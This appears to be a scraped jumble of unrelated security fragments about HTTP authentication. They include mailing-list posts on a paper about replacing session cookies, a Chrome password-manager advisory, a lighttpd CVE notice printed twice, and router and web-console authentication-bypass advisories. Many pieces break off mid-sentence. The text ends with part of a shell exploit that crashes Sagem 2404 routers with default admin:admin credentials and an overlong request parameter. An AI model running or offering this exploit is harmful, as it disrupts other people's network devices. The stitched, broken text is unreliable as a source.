HTTP authentication
Vulnerability Details
---------------------
As with many modern browsers, Google Chrome implements a password manager to
help users keep track of credentials used on various web sites. It may be used
to store either HTTP authentication credentials or form-based credentials.
The vulnerability surfaces in a situation where a user visits a web page which
includes an embedded object, such as an image, from a third-party site. If an
attacker had control of the third-party web server, he could request credentials
from the user via HTTP authentication. This style of attack has been documented
Hello,
I've just posted a new paper some of you may be interested in:
http://www.vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf
While it's primarily an argument for fixing HTTP authentication, it
does contain information on a few weaknesses common in browsers,
including password manager issues and user interface vulnerabilities.
Feedback is more than welcome.
> strong data structures enforced.
Far too often security initiatives fail to gain any momentum because
they bite of far more than they can chew. I'd love to redesign digest
authentication, for instance, or push for good browser support of some
truly safe HTTP authentication protocols, but that would be much more
likely to fail. I see this as a relatively easy fix to open up a new
option in web app development.
> As more and more app development moves to hardware platforms
It may not be a simple fix, but the first steps shouldn't have much
resistance. While digest authentication isn't the best password
protocol out there, it's almost usable right now and provides tangible
security benefits for those adventurous developers who are willing to
work around browser limitations. With some very small changes in
browser behavior, form-based HTTP authentication becomes truly
possible without ugly hacks. From there, I think it can gain some
real traction under it's own merits.
Of course some apps will always use cookies for flexibility or
backward compatibility, but I don't see cookies *advancing* the safety
>> Hello,
>>
>> I've just posted a new paper some of you may be interested in:
>> http://www.vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf
>>
>> While it's primarily an argument for fixing HTTP authentication, it
>> does contain information on a few weaknesses common in browsers,
>> including password manager issues and user interface vulnerabilities.
>>
>> Feedback is more than welcome.
>>
> Hello,
>
> I've just posted a new paper some of you may be interested in:
> http://www.vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf
>
> While it's primarily an argument for fixing HTTP authentication, it
> does contain information on a few weaknesses common in browsers,
> including password manager issues and user interface vulnerabilities.
>
> Feedback is more than welcome.
>
Hello,
As a follow up to my paper advocating HTTP authentication in place of
cookies [1], I've built a simple sample application which demonstrates
how a combination of XMLHttpRequest and response code tricks can be
used to achieve form-based login, logout, and authenticated password
changes in the four most popular browsers:
http://www.vsecurity.com/download/tools/fbha-poc_0.1.zip
Note that this is achieved without using any checks to determine what
>
>
>> Further, it has been mentioned several times that it is a legitimate
>> attack point used by phishers. For example:
>>
>> http://code.google.com/p/browsersec/wiki/Part3#HTTP_authentication
>>
>
> Yup, the attack scenario I described came straight from the BSH,
> though I didn't mess around with the password-in-URL stuff.
>
webserver with minimal memory footprint.
CVE-2011-4362
Xi Wang discovered that the base64 decoding routine which is used to
decode user input during an HTTP authentication, suffers of a signedness
issue when processing user input. As a result it is possible to force
lighttpd to perform an out-of-bounds read which results in Denial of
Service conditions.
CVE-2011-3389
webserver with minimal memory footprint.
CVE-2011-4362
Xi Wang discovered that the base64 decoding routine which is used to
decode user input during an HTTP authentication, suffers of a signedness
issue when processing user input. As a result it is possible to force
lighttpd to perform an out-of-bounds read which results in Denial of
Service conditions.
CVE-2011-3389
I last tested and thought you could enlighten me.
> Further, it has been mentioned several times that it is a legitimate
> attack point used by phishers. For example:
>
> http://code.google.com/p/browsersec/wiki/Part3#HTTP_authentication
Yup, the attack scenario I described came straight from the BSH,
though I didn't mess around with the password-in-URL stuff.
> Even this issue is not patched. May be URL protection like Mozilla is a
How is this significantly different than the issues described in:
http://www.vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf
?
See the section on page 11 entitled "Weak User Interfaces for HTTP
Authentication"
In your video, I didn't see precisely what realm string was sent or
what the overall auth header was, so it's hard to tell. Also, it may
be that variants of these attacks still work in Firefox.
Vulnerability #1:
Description:
The HTTP authentication mechanism of the 3Com AP 8760 works as follows:
1. Router checks if credentials submitted by user are valid
2. If valid, the router's web interface redirects the user to URLs that
should only be available to authenticated admin users
on which hosts, applications, protocols, etc. that are consuming network
bandwidth.
Credit: Tanya Secker of Trustwave SpiderLabs
Finding 1: HTTP Authentication Bypass Vulnerability
CVE: CVE-2012-1258
The Scrutinizer web console provides a form-based login facility, requiring
users to authenticate to gain access to further functionality. A tiered
user access model is also used, where administrative and standard users
Impact
======
A remote attacker could exploit this vulnerability to inject arbitrary
SQL statements by using a specially crafted username for HTTP
authentication on a site using mod_authnz_external.
Workaround
==========
There is no known workaround at this time.
exit
fi;
echo -e "\n[+] DoSing Sagem 2404 ..."
# By default the username of sagem's router is Admin so then the pass , sagem uses HTTP Authentication it can be so easly cracked or sniffed !!
curl -u admin:admin "$1/wancfg.cmd?action=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
echo -e "\n [+] Done ! "
echo -e "\n [+] Cya "
|
